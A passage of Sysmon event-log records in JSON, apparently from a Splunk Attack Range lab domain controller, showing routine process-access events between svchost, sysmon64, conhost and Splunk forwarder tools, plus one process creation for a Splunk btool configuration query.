C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.383","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3006,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.383\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.383","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3007,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.383\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.383","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3008,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.383\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.383","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3009,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.383\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.383","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3010,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.383\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.383","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3011,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.383\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4078-5F2D-0000-001006FC0400}\r\nTargetProcessId: 4848\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.383","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4078-5F2D-0000-001006FC0400}","TargetProcessId":"4848","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3012,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.395\r\nProcessGuid: {90617006-4078-5F2D-0000-0010C7FC0400}\r\nProcessId: 4860\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nFileVersion: 8.0.2\r\nDescription: splunkd service\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunkd.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" btool server list general --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589\r\nParentProcessGuid: {90617006-4078-5F2D-0000-001006FC0400}\r\nParentProcessId: 4848\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nParentCommandLine: btool server list general --no-log","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.395","ProcessGuid":"{90617006-4078-5F2D-0000-0010C7FC0400}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","FileVersion":"8.0.2","Description":"splunkd service","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunkd.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" btool server list general --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589","ParentProcessGuid":"{90617006-4078-5F2D-0000-001006FC0400}","ParentProcessId":"4848","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","ParentCommandLine":"btool server list general --no-log","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3013,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.383\r\nSourceProcessGUID: {90617006-4078-5F2D-0000-001006FC0400}\r\nSourceProcessId: 4848\r\nSourceThreadId: 4824\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nTargetProcessGUID: {90617006-4078-5F2D-0000-0010C7FC0400}\r\nTargetProcessId: 4860\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+239c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2568|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2926|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+11cf|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+1245|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+aa24|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.383","SourceProcessGUID":"{90617006-4078-5F2D-0000-001006FC0400}","SourceProcessId":"4848","SourceThreadId":"4824","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","TargetProcessGUID":"{90617006-4078-5F2D-0000-0010C7FC0400}","TargetProcessId":"4860","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+239c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2568|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2926|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+11cf|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+1245|C:\\Program 